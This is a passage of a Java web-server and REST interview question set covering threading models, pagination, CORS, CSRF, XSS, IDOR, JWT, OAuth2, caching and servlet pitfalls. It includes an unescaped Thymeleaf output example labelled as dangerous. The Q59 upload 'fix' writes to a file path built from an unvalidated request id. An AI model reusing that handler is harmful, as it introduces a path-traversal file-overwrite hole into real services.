Thread-per-request dedicates a thread to each request, blocking on I/O; it is simple but capacity is bounded by thread count. Reactive (WebFlux/Netty) uses a few event-loop threads with non-blocking I/O and backpressure, scaling to many concurrent slow connections.

- Reactive requires non-blocking drivers end to end (R2DBC, reactive HTTP clients); one blocking call stalls an event loop.
- Debugging and stack traces are harder; CPU-bound work gains nothing.
- Java 21 virtual threads (`spring.threads.virtual.enabled=true`) give thread-per-request code with high concurrency.

FOLLOW-UP TRAPS

- **Is WebFlux faster for a CPU-bound API?** No.
- **Do virtual threads make blocking JDBC free?** They free the carrier thread, but the connection pool still limits concurrency.

#reactive #thread-per-request #webflux

Q44 How do virtual threads change Java web servers?

ADVANCED

Java 21 virtual threads let servers run each request on a cheap JVM-managed thread, so blocking calls no longer waste OS threads. Tomcat/Jetty run requests on virtual threads when configured.

- Spring Boot 3.2+: `spring.threads.virtual.enabled=true`.
- Pinning: blocking inside `synchronized` pinned the carrier in Java 21 (largely fixed in Java 24); prefer `ReentrantLock`.
- Bound downstream resources (pools, semaphores) because thread count is no longer the throttle.

FOLLOW-UP TRAPS

- **Does it speed up CPU-bound code?** No.
- **Should you pool virtual threads?** No, create one per task.

#virtual-threads #java21

Q45 How should REST APIs be versioned?

INTERMEDIATE

Common strategies: URI path (`/v1/orders`), header (`X-API-Version`), media type (`application/vnd.acme.v2+json`), and query parameter. Path versioning is the most visible and cache friendly; media type is purist.

- Prefer additive, backward-compatible changes; version only on breaking changes.
- Publish deprecation with `Deprecation` / `Sunset` headers and a timeline.
- Spring Framework 7 adds built-in API versioning support in MVC mappings.

FOLLOW-UP TRAPS

- **Is adding a JSON field breaking?** Not for tolerant readers; removing or renaming one is.
- **How many versions to support?** As few as possible, with a published sunset policy.

#api-versioning #rest

Q46 Compare offset, page-number and cursor pagination.

INTERMEDIATE

Offset/page uses `LIMIT n OFFSET m`, which is simple but degrades on deep pages and shows duplicates or gaps when data changes. Cursor (keyset) pagination uses the last seen sort key, giving stable, constant-cost pages.

```
SELECT id, created_at FROM orders
WHERE (created_at, id) < (:lastCreated, :lastId)
ORDER BY created_at DESC, id DESC
LIMIT 20;
```

- Return `nextCursor` (opaque, encoded) and optionally `Link` headers.
- Cursors cannot jump to an arbitrary page.

FOLLOW-UP TRAPS

- **Why include `id` in the sort?** A unique tiebreaker; otherwise equal timestamps skip or repeat rows.
- **Does `OFFSET 100000` cost O(1)?** No, the database scans and discards those rows.

#pagination #api-design

Q47 How does Spring Data support pagination in controllers? BASIC

Accept a `Pageable` argument (`?page=0&size=20&sort=name,asc`) and return `Page<T>`, which carries content plus total counts. `Slice<T>` skips the count query.

- `Page` runs an extra `COUNT(*)`, which is costly on large tables.
- Cap `spring.data.web.pageable.max-page-size` (default 2000) to prevent abuse.

FOLLOW-UP TRAPS

- **Page index base?** Zero-based by default.
- **When use `Slice`?** Infinite scroll where total is unnecessary.

#pagination #spring-data

Q48 How is rate limiting implemented and what algorithms exist? INTERMEDIATE

Common algorithms: fixed window, sliding window, token bucket and leaky bucket. Token bucket allows controlled bursts and is the most common. Enforce at the gateway or with a shared store (Redis) keyed by user, API key or IP.

- Respond `429 Too Many Requests` with `Retry-After` and `RateLimit-*` headers.
- Libraries: Bucket4j, Resilience4j `RateLimiter`, API gateway plugins.
- Per-node in-memory limits multiply by node count in a cluster.

FOLLOW-UP TRAPS

- **Fixed window flaw?** Bursts at window boundaries allow up to 2x the limit.
- **Rate limiting versus load shedding?** The first enforces per-client fairness; the second protects the server overall.

#rate-limiting #api-design

Q49 What is OpenAPI and how is it used with Java? BASIC

OpenAPI is a language-neutral specification (YAML/JSON) describing endpoints, schemas, auth and responses. Swagger UI renders it, and tools generate clients and servers from it.

- Code-first: springdoc-openapi scans Spring annotations and serves `/v3/api-docs` and `/swagger-ui.html`.
- Design-first: write the spec, generate stubs with openapi-generator, and validate contract compliance.
- Annotations like `@Operation`, `@Schema`, `@ApiResponse` enrich docs.

FOLLOW-UP TRAPS

- **Is Swagger the same as OpenAPI?** Swagger is the tooling; OpenAPI is the spec (formerly the Swagger spec).
- **Should docs UI be public in production?** Usually restricted or disabled.

#openapi #swagger #documentation

Q50 How should errors be represented in REST APIs? INTERMEDIATE

Return an appropriate status code and a consistent body. RFC 9457 (formerly 7807) Problem Details defines `application/problem+json` with `type`, `title`, `status`, `detail`, `instance`.

- Spring 6 / Boot 3: `ProblemDetail` and `ErrorResponse`, enabled via `spring.mvc.problemdetails.enabled=true`.
- Centralize with `@RestControllerAdvice` and `@ExceptionHandler`.
- Never leak stack traces or SQL in responses.

FOLLOW-UP TRAPS

- **400 versus 422?** 400 for malformed syntax, 422 for well-formed but semantically invalid.
- **Do exceptions in filters reach `@ControllerAdvice`?** No.

#error-handling #problem-details

Q51 What are HTTP/1.1 keep-alive, HTTP/2 and HTTP/3 differences? INTERMEDIATE

HTTP/1.1 reuses connections (keep-alive) but handles one request at a time per connection (head-of-line blocking). HTTP/2 multiplexes streams over one TCP connection with header compression (HPACK). HTTP/3 runs over QUIC (UDP) removing TCP-level head-of-line blocking.

- Browsers require TLS for HTTP/2 in practice; Spring Boot enables it with `server.http2.enabled=true`.
- HTTP/2 server push is deprecated and removed from major browsers.

FOLLOW-UP TRAPS

- **Does HTTP/2 remove the need for connection pools between services?** Fewer connections are needed, but not none.
- **Does HTTP/2 fix TCP head-of-line blocking?** No, only HTTP/3 does.

#http2 #http3 #performance

Q52 What is the difference between Transfer-Encoding chunked, Content-Length and streaming responses? ADVANCED

`Content-Length` declares the body size up front. `Transfer-Encoding: chunked` (HTTP/1.1) sends the body in sized chunks when the length is unknown, enabling streaming. HTTP/2 uses frames instead.

- Use `StreamingResponseBody`, `ResponseBodyEmitter` or `SseEmitter` in Spring MVC for large or incremental output.
- Server-Sent Events use `text/event-stream` over a long-lived response.

FOLLOW-UP TRAPS

- **Can a response have both headers?** No, they are mutually exclusive.
- **Why does buffering break SSE?** Proxies or compression that buffer delay events; disable proxy buffering.

#http #streaming #chunked

Scenarios

Q53 A user logs in and an attacker who set the session cookie earlier now has access. What is wrong and how do you fix it? INTERMEDIATE

This is session fixation: the session ID did not change on authentication. Rotate the ID at login.

```
HttpSession old = request.getSession(false);
if (old != null) {
    request.changeSessionId();   // Servlet 3.1+, keeps attributes
}
```

- Spring Security does this by default; custom login code often misses it.
- Also set `HttpOnly`, `Secure`, `SameSite`, and disable URL rewriting (`<tracking-mode>COOKIE</tracking-mode>`).

FOLLOW-UP TRAPS

- **Would HTTPS alone fix it?** No, the flaw is in ID lifecycle, not transport.
- **Should you rotate on privilege change too?** Yes, on any elevation.

#session-fixation #security

Q54 After a deployment, all users are logged out. Why, and how can you avoid it? INTERMEDIATE

Sessions live in the JVM heap of the old process, so a restart drops them. Persist sessions externally (Spring Session with Redis/JDBC) or use stateless tokens.

- Tomcat can persist sessions across restarts with `PersistentManager`/`StandardManager` serialization, only when attributes are `Serializable` and the restart is graceful.
- Rolling deployments with sticky sessions still lose sessions of drained nodes.

FOLLOW-UP TRAPS

- **Will an external store need serialization?** Yes, use `Serializable` or a JSON serializer, and be careful with class versioning across releases.
- **Does a bigger timeout help?** No, the data is gone with the process.

#session #deployment

Q55 The app throws `NotSerializableException` only in production. What happened? INTERMEDIATE

Production uses a clustered or persisted session store that serializes attributes, while dev keeps them in memory. A non-`Serializable` object (or a field in its graph) was stored in the session.

- Fix: implement `Serializable` with a `serialVersionUID`, store only small ID/DTO values, and mark heavy fields `transient`.
- Never put entities, connections or streams in the session.

FOLLOW-UP TRAPS

- **Why storing entities in sessions is poor?** Stale data, lazy loading outside a transaction, and large replication payloads.
- **Can the problem hide until failover?** Yes, if replication is async or only triggered on node loss.

#session #serialization

Q56 Requests hang under load and Tomcat threads are all busy. How do you diagnose it? ADVANCED

Take several thread dumps (`jcmd <pid> Thread.print` or `jstack`) a few seconds apart and look at what the `http-nio-*-exec-*` threads are doing; consistent stacks in the same frame show the bottleneck.

- Common causes: slow DB queries, exhausted connection pool (threads parked in `HikariPool.getConnection`), a downstream HTTP call without a timeout, lock contention, or deadlock.
- Check metrics: `tomcat.threads.busy`, pool active/pending, and request latency percentiles.
- Remedies: timeouts everywhere, bulkheads, bound pools, and fail fast.

FOLLOW-UP TRAPS

- **Will raising `threads.max` fix it?** Usually it moves the bottleneck and can overwhelm the database.
- **How is deadlock shown?** `jstack` prints "Found one Java-level deadlock".

#stuck-requests #thread-dump #tomcat

Q57 Threads are waiting in `HikariPool.getConnection` and users see 500 errors after 30 seconds. What does that mean? INTERMEDIATE

The connection pool is exhausted: all connections are borrowed and requests wait up to `connectionTimeout` (default 30s) before throwing `SQLTransientConnectionException`. Look for leaked connections, long transactions, or work holding a connection while calling slow external services.

- Enable `leakDetectionThreshold` to log borrowers.
- Keep transactions short; avoid remote calls inside them; Open-Session-in-View holds connections for the whole request, so consider `spring.jpa.open-in-view=false`.
- Pool sizing is small (roughly cores x 2 + spindles); more is rarely better.

FOLLOW-UP TRAPS

- **Should you just raise `maximumPoolSize`?** Only if the database can handle it; otherwise you shift the queue into the DB.
- **Why is 30s timeout harmful?** Requests pile up; lower it to fail fast.

#connection-pool #stuck-requests

Q58 A client calls your endpoint and it times out, but the server log shows the work completed. What happens when the client retries a POST? INTERMEDIATE

The retry executes the operation again, creating duplicates (double charge, duplicate order). Make it idempotent with an `Idempotency-Key` header: store key and result, return the stored response on replays.

```
@PostMapping("/payments")
ResponseEntity<Payment> pay(@RequestHeader("Idempotency-Key") String key, @RequestBody PayReq r)
{
    return ResponseEntity.ok(service.payOnce(key, r)); // unique constraint on key
}
```

- Enforce with a unique DB constraint on the key, not a check-then-insert.
- Reject the same key with a different payload (422/409).

FOLLOW-UP TRAPS

- **Is retrying a PUT safe?** Yes, by definition of idempotency.
- **How long keep keys?** Long enough to cover client retry windows, typically 24 hours.

#idempotency #retries

Q59 A client uploads a 2 GB file and the server runs out of memory. What went wrong? ADVANCED

The upload was buffered in memory (e.g. `@RequestBody byte[]`, `file.getBytes()`, or an in-memory multipart parser). Stream it to disk or storage instead and enforce limits.

```
@PutMapping("/blobs/{id}")
ResponseEntity<Void> put(@PathVariable String id, HttpServletRequest req) throws IOException {
    try (InputStream in = req.getInputStream()) {
        Files.copy(in, Path.of("/data", id), StandardCopyOption.REPLACE_EXISTING);
    }
    return ResponseEntity.noContent().build();
}
```

- Set `max-file-size`, `max-request-size`, and a proxy limit (`client_max_body_size`).
- Better: direct-to-object-store uploads via pre-signed URLs, or resumable/chunked uploads.

FOLLOW-UP TRAPS

- **Does Spring multipart spill to disk automatically?** Past `file-size-threshold` yes, but `getBytes()` reloads it into heap.
- **Which status for oversized bodies?** 413 Content Too Large.

#large-payload #upload #memory

Q60 A JSON endpoint receives a 500 MB body or deeply nested JSON. How do you defend it? ADVANCED

Limit body size at the proxy and container (`server.tomcat.max-swallow-size`, `max-http-form-post-size`, gateway limits), stream-parse where possible, and apply Jackson `StreamReadConstraints` (max nesting depth, string length, number length).

- Jackson 2.15+ enforces default limits (nesting 1000, string 20 MB; later raised/configurable).
- Validate early with Bean Validation and reject unknown fields if appropriate.
- Add timeouts for slow body delivery (slowloris).

FOLLOW-UP TRAPS

- **Does `Content-Length` check suffice?** Chunked uploads have no declared length, so enforce a byte counter.
- **Why limit nesting?** Deep recursion causes `StackOverflowError` or CPU burn.

#large-payload #dos #json

Q61 The browser console shows "blocked by CORS policy" but Postman works. Why? BASIC

Postman ignores CORS; browsers enforce it. The server response lacks `Access-Control-Allow-Origin` for the page's origin, or the preflight failed.

```
@Bean
CorsConfigurationSource cors() {
    CorsConfiguration c = new CorsConfiguration();
    c.setAllowedOrigins(List.of("https://app.example.com"));
    c.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE"));
    c.setAllowedHeaders(List.of("Authorization", "Content-Type"));
    UrlBasedCorsConfigurationSource s = new UrlBasedCorsConfigurationSource();
    s.registerCorsConfiguration("/**", c);
    return s;
}
```

- With Spring Security, enable `http.cors(Customizer.withDefaults())` so the CORS filter runs before security rejects the unauthenticated preflight.

FOLLOW-UP TRAPS

- **Why does the preflight return 401?** The `OPTIONS` request has no credentials and security blocked it before CORS handling.
- **Is `*` fine for production?** Not with credentials, and rarely wise for private APIs.

#cors #debugging

Q62 A fetch with cookies to your API fails CORS even though `Allow-Origin` is set. What is missing? INTERMEDIATE

Credentialed requests need `Access-Control-Allow-Credentials: true`, a specific (non-wildcard) `Allow-Origin`, and the client must set `credentials: 'include'`. Wildcards for headers and methods are also not honoured in credentialed mode.

- `SameSite=None; Secure` is needed on the cookie for cross-site contexts.
- Add `Vary: Origin` when the allowed origin is echoed dynamically.

FOLLOW-UP TRAPS

- **Why `Vary: Origin`?** Otherwise a cache may serve one origin's CORS headers to another.
- **Are same-site, cross-origin calls affected by `SameSite`?** No, `SameSite` concerns site, not origin.

#cors #credentials

Q63 Your POST endpoint works in the browser from another site and changes state using the user's cookie. How could that be abused and how do you stop it? INTERMEDIATE

An attacker page auto-submits a hidden form to your endpoint; the browser attaches the session cookie, so the action executes. Add CSRF tokens (Spring Security default), set `SameSite=Lax/Strict`, and verify `Origin`.

```
http.csrf(c -> c.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()));
```

- For SPAs with cookie auth, the SPA reads the `XSRF-TOKEN` cookie and echoes it in `X-XSRF-TOKEN`.
- JSON `Content-Type` requirement alone is not a defense in all cases.

FOLLOW-UP TRAPS

- **Is it safe to disable CSRF for a stateless bearer-token API?** Yes, no ambient credentials exist.
- **Does `SameSite=Lax` cover state-changing GETs?** Top-level GET navigations still send cookies, so GET must be safe.

#csrf #scenario

Q64 A comment field renders `<script>` from a user and runs it for other users. What do you do? BASIC

This is stored XSS. Encode output for the HTML context, using the template engine's escaping, and avoid raw output.

```
<!-- Thymeleaf: escaped -->
<p th:text="${comment.body}"></p>
<!-- Dangerous: unescaped -->
<p th:utext="${comment.body}"></p>
```

- If rich text is required, sanitize with an allowlist library (OWASP Java HTML Sanitizer).
- Add a CSP and `HttpOnly` cookies as backup.

FOLLOW-UP TRAPS

- **Is escaping on input (when saving) correct?** No; encoding depends on output context.
- **Why can JSP `${param.x}` be dangerous?** EL does not escape unless `<c:out>` or `fn:escapeXml` is used.

#xss #scenario

Q65 A user changes `/orders/1001` to `/orders/1002` and sees another user's order. What is the flaw? INTERMEDIATE

Broken object-level authorization (IDOR). The endpoint authenticates but does not verify ownership. Check that the resource belongs to the caller on every access.

```
@PreAuthorize("@orderAccess.canView(#id, authentication)")
@GetMapping("/orders/{id}")
Order get(@PathVariable long id) { return service.find(id); }
```

- Alternative: scope queries by owner (`findByIdAndUserId`) and return 404 to avoid revealing existence.
- Random IDs help but are not a substitute.

FOLLOW-UP TRAPS

- **Is a role check (`ROLE_USER`) enough?** No, it is not object specific.
- **403 or 404 for foreign resources?** 404 hides existence; 403 is more explicit.

#authorization #idor

Q66 **Your API returns 403 for an expired token. What should it return and why does it matter?** BASIC

401 Unauthorized with `WWW-Authenticate: Bearer error="invalid_token"`. The client reacts to 401 by refreshing the token or re-authenticating, whereas 403 signals that nothing will help.

- Spring Security's `BearerTokenAuthenticationEntryPoint` sets this correctly for resource servers.
- 403 is for authenticated users lacking permission.

FOLLOW-UP TRAPS

- **Is 401 a misnomer?** Yes, it means unauthenticated, not unauthorized.
- **Should the response explain exactly why the token failed?** Keep detail minimal to avoid helping attackers.

#authentication #status-codes

Q67 **A JWT contains `"role":"admin"` and the client edited the payload. Why does the server still accept it, or does it?** ADVANCED

If the server verifies the signature, the edit invalidates it and the token is rejected. It is accepted only if verification is missing, the secret is weak or leaked, or `alg: none`/algorithm confusion is allowed.

- Algorithm confusion: an RS256 public key used as an HS256 secret by a naive library. Pin the expected algorithm and key.
- Never trust decoded claims without verifying the signature (decoding is not validating).

FOLLOW-UP TRAPS

- **Can the client read the payload?** Yes, never put secrets in claims.
- **Is HS256 safe with a short secret?** No, brute forceable; use at least 256-bit random keys.

#jwt #security #scenario

Q68 **Where should a SPA store the access token and what are the trade-offs?** ADVANCED

`localStorage` is simple but readable by any XSS. An `HttpOnly; Secure; SameSite` cookie is not script-readable but needs CSRF defense. In-memory storage with a refresh via an `HttpOnly` cookie is a common compromise. The backend-for-frontend (BFF) pattern keeps tokens server-side entirely.

- BFF: browser holds only a session cookie; the BFF calls APIs with tokens.
- Short access-token lifetime limits damage in any model.

FOLLOW-UP TRAPS

- **Is cookie storage immune to XSS?** No, XSS can still issue requests with the cookie.
- **Does in-memory survive refresh?** No, it must be re-obtained silently.

#jwt #spa #storage

Q69 **A mobile app uses OAuth2. Which flow and why?** INTERMEDIATE

Authorization code flow with PKCE using the system browser. The app cannot keep a client secret, so PKCE binds the code exchange to a one-time verifier.

- Flow: generate `code_verifier`, send `code_challenge` (S256), later send `code_verifier` with the code.
- Use claimed HTTPS redirect URIs or app links, not embedded web views.

FOLLOW-UP TRAPS

- **Can the app embed a client secret?** No, extractable from the binary.
- **What does PKCE protect against?** Interception of the authorization code.

#oauth2 #pkce #mobile

Q70 Two microservices need to call each other without a user. Which OAuth2 grant? INTERMEDIATE

Client credentials grant: the service authenticates to the authorization server with its ID and secret (or mTLS/private key JWT) and obtains an access token scoped to its permissions.

```
spring:
  security:
    oauth2:
      client:
        registration:
          billing:
            provider: idp
            authorization-grant-type: client_credentials
            client-id: billing-svc
            client-secret: ${BILLING_SECRET}
            scope: invoices.read
```

- Cache tokens until near expiry; do not fetch per call.
- When propagating end-user identity, use token exchange rather than client credentials.

FOLLOW-UP TRAPS

- **Does it issue a refresh token?** Typically no; request a new token.
- **Why not pass the user's token downstream?** Audience and scope may be wrong; it widens blast radius.

#oauth2 #client-credentials

Q71 An endpoint is slow and the same data is requested constantly. How can HTTP caching help? INTERMEDIATE

Return `Cache-Control` and an `ETag`. Browsers and CDNs serve repeats locally or revalidate with `If-None-Match`, receiving a cheap 304.

```
return ResponseEntity.ok()
    .cacheControl(CacheControl.maxAge(Duration.ofMinutes(5)).cachePublic())
    .eTag(String.valueOf(product.version()))
    .body(product);
```

- Spring also offers `ShallowEtagHeaderFilter`, which hashes the body: saves bandwidth but still runs the handler.
- Never cache personalized responses as `public`.

FOLLOW-UP TRAPS

- **Does a shallow ETag reduce CPU?** No, the handler still executes.
- **How do clients get fresh data sooner?** Use short `max-age` plus validators, or versioned URLs.

#caching #etag #scenario

Q72 A CDN served one user's profile to another user. What went wrong? ADVANCED

The response was cacheable by a shared cache (`public`, or no `Cache-Control` with heuristics), and the cache key ignored the identity (cookie or `Authorization`). Mark personalized responses `Cache-Control: private` or `no-store`, and set proper `Vary`.

- Shared caches generally do not store responses to requests with `Authorization` unless allowed with `public` / `s-maxage`.

- Cache-key mistakes also enable cache poisoning via unkeyed headers.

> **FOLLOW-UP TRAPS**
> - **Is `Vary: Cookie` a good fix?** It works but destroys hit rate; prefer `private` / `no-store`.
> - **Does `private` stop the browser caching?** No, only shared caches.

#caching #cdn #security

Q73 Two users edit the same resource and the last write silently wins. How do you prevent lost updates over HTTP? ADVANCED

Use optimistic concurrency with ETags: the client sends `If-Match: "<version>"` on PUT; the server compares to the current version and returns `412 Precondition Failed` (or `428` if the header is required but missing).

```
@PutMapping("/docs/{id}")
ResponseEntity<Doc> update(@PathVariable long id,
                           @RequestHeader("If-Match") String etag, @RequestBody Doc d) {
    return ResponseEntity.ok(service.update(id, etag, d)); // throws on version mismatch
}
```

- Back it with a JPA `@Version` column.

> **FOLLOW-UP TRAPS**
> - **412 or 409?** 412 for failed preconditions; 409 for a state conflict generally.
> - **Is the ETag derived from the body or version?** Either; a version column is cheaper.

#etag #concurrency #optimistic-locking

Q74 A client expects `/users` to return XML but gets JSON. Why, and how do you support both? BASIC

The client probably did not send `Accept: application/xml`, or no XML converter is on the classpath. Add `jackson-dataformat-xml` and let Spring negotiate on `Accept`.

- Default order uses the first converter that supports the requested type; `*/*` gets the default (JSON).
- Query-parameter-based negotiation (`?format=xml`) is disabled by default in Spring 6 and must be configured.

> **FOLLOW-UP TRAPS**
> - **Which status when no match exists?** 406.
> - **Why not rely on file extensions (`/users.xml`)?** Extension-based negotiation is deprecated and removed in Spring 6.

#content-negotiation #spring-mvc

Q75 A request returns 415 Unsupported Media Type. How do you debug it? BASIC

The `Content-Type` of the request is missing or not handled by the endpoint (`consumes`) or by any `HttpMessageConverter`. Check that the client sends `Content-Type: application/json` and that the mapping accepts it.

- Posting a form (`application/x-www-form-urlencoded`) to a `@RequestBody` JSON endpoint gives 415.
- Charset or typo errors (`application/jsonn`) cause it too.

> **FOLLOW-UP TRAPS**
> - **400 versus 415 for bad JSON syntax?** Bad syntax yields 400; wrong media type yields 415.
> - **Is `consumes` required?** No, but it clarifies and narrows matching.

#content-type #debugging

Q76 A filter reads the request body for logging, then the controller gets an empty body. What happened? INTERMEDIATE

`getInputStream()` can be consumed only once. Wrap the request in a caching wrapper so it can be read again.

```
ContentCachingRequestWrapper w = new ContentCachingRequestWrapper(req);
chain.doFilter(w, res);
byte[] body = w.getContentAsByteArray(); // available after the controller read it
```

- `ContentCachingRequestWrapper` caches only what downstream actually reads; reading it up front requires a custom wrapper.
- Log selectively and mask secrets; cap the logged size.

FOLLOW-UP TRAPS

- **Can `getReader()` and `getInputStream()` both be used?** No, `IllegalStateException`.
- **Why avoid logging bodies in prod?** PII leakage and I/O overhead.

#filter #request-body

Q77 Your filter modifies headers after `chain.doFilter` and nothing changes. Why? INTERMEDIATE

The response was already committed (headers flushed) when the servlet wrote and flushed the body or filled the buffer. After that headers and status can no longer change.

- Check `response.isCommitted()`.
- Set headers before `chain.doFilter`, or wrap the response (`HttpServletResponseWrapper`) and buffer the output.
- Spring's `OncePerRequestFilter` plus `ContentCachingResponseWrapper` lets you inspect the body, then call `copyBodyToResponse()`.

FOLLOW-UP TRAPS

- **What is the default response buffer?** Typically 8 KB in Tomcat.
- **Forgot `copyBodyToResponse()`?** The client gets an empty body.

#filter #response-commit

Q78 A filter runs twice for one request (forward or error dispatch). How do you handle it? INTERMEDIATE

Filters mapped to multiple dispatcher types (`REQUEST`, `FORWARD`, `ERROR`, `ASYNC`) run for each dispatch. Extend `OncePerRequestFilter`, which tracks execution via a request attribute, and override `shouldNotFilterAsyncDispatch` / `shouldNotFilterErrorDispatch` as needed.

- In Spring Boot, `FilterRegistrationBean.setDispatcherTypes` controls this.
- Async requests are dispatched twice by design (initial and result dispatch).

FOLLOW-UP TRAPS

- **Does `OncePerRequestFilter` apply across async dispatches by default?** It skips async dispatch by default (`shouldNotFilterAsyncDispatch` returns true).
- **Do error-page forwards re-run security filters?** They can, which is why error paths need access rules.

#filter #dispatch

Q79 A servlet stores a counter in an instance field and the count is wrong under load. Explain. BASIC

Concurrent threads read-modify-write the shared field, losing updates. Use `AtomicInteger` or `LongAdder`, or avoid shared state.

```
public class CounterServlet extends HttpServlet {
    private final AtomicInteger hits = new AtomicInteger();
    protected void doGet(HttpServletRequest rq, HttpServletResponse rs) throws IOException {
        rs.getWriter().println(hits.incrementAndGet());
    }
}
```

- A plain `int` with `hits++` is not atomic; `synchronized` on `doGet` would serialize all requests.
- A per-node counter is wrong across a cluster; use a shared store.

FOLLOW-UP TRAPS

- **Would `volatile int` fix it?** No, `++` is still a non-atomic compound operation.
- **Is a Spring singleton controller different?** No, same hazard.

#servlet #thread-safety

Q80 A user submits an order form, refreshes the page, and gets a duplicate order. How do you prevent it? BASIC

Use Post/Redirect/Get: after processing the POST, respond with a 303 redirect to a confirmation GET page, so refresh repeats the harmless GET. For double-click and retries, add an idempotency or one-time form token.

```
@PostMapping("/orders")
String create(OrderForm f, RedirectAttributes ra) {
    long id = service.create(f);
    ra.addFlashAttribute("msg", "Created");
    return "redirect:/orders/" + id;
}
```

FOLLOW-UP TRAPS

- **Why flash attributes?** They survive exactly one redirect, via the session.
- **Does PRG stop double clicks?** No, a server-side token or unique constraint does.

#redirect #post-redirect-get

Q81 `request.getSession()` is creating sessions for every crawler hit and memory grows. What do you do? INTERMEDIATE

Use `getSession(false)` where a session is not needed, avoid creating sessions on public pages (JSPs create one by default unless `<%@ page session="false" %>`), shorten the timeout, and consider stateless endpoints.

- Spring Security's `SessionCreationPolicy.STATELESS` stops creating sessions for APIs.
- Rate-limit or filter bots; monitor active session counts.

FOLLOW-UP TRAPS

- **Do JSPs create sessions silently?** Yes, by default.
- **How to inspect the count?** Tomcat JMX `activeSessions` or an `HttpSessionListener`.

#session #memory

Q82 Behind a load balancer, `request.getRemoteAddr()` shows the proxy IP and redirects use `http://`. Fix it. INTERMEDIATE

Configure the app to honour `X-Forwarded-For` / `-Proto` / `-Host` (or `Forwarded`) from trusted proxies.

```
server:
  forward-headers-strategy: native   # or framework
  tomcat:
    remoteip:
      internal-proxies: "10\\.\\d+\\.\\d+\\.\\d+"
```

- `native` uses the container's `RemoteIpValve`; `framework` uses Spring's `ForwardedHeaderFilter`.

- Trust the headers only from your own proxies.

> **FOLLOW-UP TRAPS**
> - **Why does a redirect use `http://`?** The container sees plain HTTP from the proxy and builds absolute URLs from that.
> - **Is the leftmost `X-Forwarded-For` entry reliable?** No, clients can inject it; trust the rightmost untrusted-hop logic.

#proxy #forwarded-headers

Q83 **A `sendRedirect` to a relative path breaks behind a context path or proxy. Why?** INTERMEDIATE

`sendRedirect("/x")` is relative to the server root, not the application's context path, while `sendRedirect("x")` is relative to the current URL. Prefix `request.getContextPath()`, and behind a proxy ensure forwarded headers are processed.

- Spring's `redirect:` prefix prepends the context path for `/`-leading URLs.
- Redirects build absolute `Location` from the Host the container sees.

> **FOLLOW-UP TRAPS**
> - **Does `forward("/x")` use the context path?** Yes, forward paths are relative to the context root.
> - **Open redirect risk?** Never redirect to an unvalidated user-supplied URL.

#redirect #servlet

Q84 **A long report endpoint takes 60 seconds and ties up a request thread. What are your options?** ADVANCED

Make it asynchronous: return `202 Accepted` with a `Location` to a status resource, process on a worker queue, and let the client poll or receive a webhook/SSE. If the client must wait, use `DeferredResult` / `Callable`.

```
@PostMapping("/reports")
ResponseEntity<Void> start(@RequestBody ReportReq r) {
    String id = jobs.submit(r);
    return ResponseEntity.accepted().location(URI.create("/reports/" + id)).build();
}
```

- Jobs belong in a durable queue so they survive restarts.
- Proxy idle timeouts (often 60s) will cut long synchronous calls anyway.

> **FOLLOW-UP TRAPS**
> - **Does `Callable` free resources for a slow DB query?** It frees the container thread but occupies another one.
> - **What does the status endpoint return when done?** 200 with the result, or a redirect (303) to it.

#async #long-running

Q85 **An async servlet request completes but the client gets an empty response or 500. What do you check?** ADVANCED

Typical causes: `complete()` never called (timeout fires), `asyncSupported` missing on a filter or servlet, response written after completion, or the work thread threw before writing.

- Register an `AsyncListener` with `onTimeout` and `onError`.
- Set an explicit timeout (`setTimeout`); the default is container-specific (Tomcat 30s).
- Ensure exceptions in the worker path always end with `complete()` or `dispatch()`.

FOLLOW-UP TRAPS

- **Which thread does `complete()` run on?** Any; it is safe to call from the worker.
- **What if the client disconnects mid-way?** Writing throws `IOException`; handle and complete.

#async #servlet #debugging

Q86 Server-Sent Events work locally but arrive in bursts behind Nginx. Why? ADVANCED

The proxy buffers upstream responses. Disable buffering for that route (`proxy_buffering off;` or the `X-Accel-Buffering: no` response header), disable compression for the stream, and keep idle timeouts above your heartbeat interval.

- Send periodic comment lines (`:\n\n`) as keepalives.
- `SseEmitter` timeout in Spring defaults to the async timeout; set it deliberately.

FOLLOW-UP TRAPS

- **Does gzip affect SSE?** It can buffer small events until a block fills.
- **WebSocket or SSE?** SSE is one-directional over HTTP with auto-reconnect; WebSocket is bidirectional.

#sse #proxy #streaming

Q87 You must choose between Tomcat and Undertow for a new service. How do you decide? INTERMEDIATE

Default to Tomcat: best supported in Spring Boot, widest operational knowledge and tooling. Choose Undertow or Jetty for specific needs such as lower memory, particular WebSocket behavior, or existing expertise, and decide with a load test of your workload.

- The server rarely dominates latency; the database and downstream calls do.
- Check Jakarta EE/Servlet version compatibility with your Spring Boot version before switching.

FOLLOW-UP TRAPS

- **Will switching servers speed up a blocking app?** Marginally; the blocking model is unchanged.
- **How do you switch in Maven?** Exclude `spring-boot-starter-tomcat` from `spring-boot-starter-web` and add the alternate starter.

#embedded #trade-offs

Q88 A service must handle 20,000 mostly idle WebSocket or long-poll connections. Which model fits? ADVANCED

Idle connections are cheap on non-blocking servers (Netty/WebFlux, Undertow, Jetty async) but would exhaust a thread-per-request pool if each holds a worker. With Tomcat NIO, idle WebSockets do not pin worker threads, but blocking handlers do; virtual threads also fit.

- Size file descriptors (`ulimit -n`) and `max-connections`.
- Plan memory per connection and heartbeat/idle-timeout policy.
- Scale out with sticky routing or a broker (Redis, Kafka) for fan-out.

FOLLOW-UP TRAPS

- **Does 20k connections require 20k threads in WebFlux?** No, a handful of event-loop threads.
- **What kills it first usually?** File descriptor limits or memory, not CPU.

#reactive #websocket #capacity

Q89 A WebFlux endpoint becomes unresponsive after adding a JDBC call. Why? ADVANCED

JDBC blocks the Netty event-loop thread. With only a few loops, a handful of slow queries stall all requests. Use R2DBC, or offload blocking calls to a bounded elastic scheduler.

```
Mono<User> find(long id) {
    return Mono.fromCallable(() -> jdbcRepo.findById(id))
               .subscribeOn(Schedulers.boundedElastic());
}
```

- BlockHound detects blocking calls in tests.
- If most of your stack is blocking, Spring MVC (with virtual threads) is a better fit.

FOLLOW-UP TRAPS

- **Is `.block()` ever safe?** Not on an event-loop thread; it throws or deadlocks.
- **Does `subscribeOn` make it non-blocking?** No, it moves blocking to another pool.

#reactive #blocking

Q90 Your API has a breaking change for 30% of clients. How do you roll it out? INTERMEDIATE

Introduce `/v2` (or a new media type) next to `/v1`, keep both running, announce deprecation with `Deprecation` and `Sunset` headers plus docs, track per-client usage of v1, and remove it only after the sunset date and usage drop.

- Share business logic and diverge only in the web layer/DTO mapping.
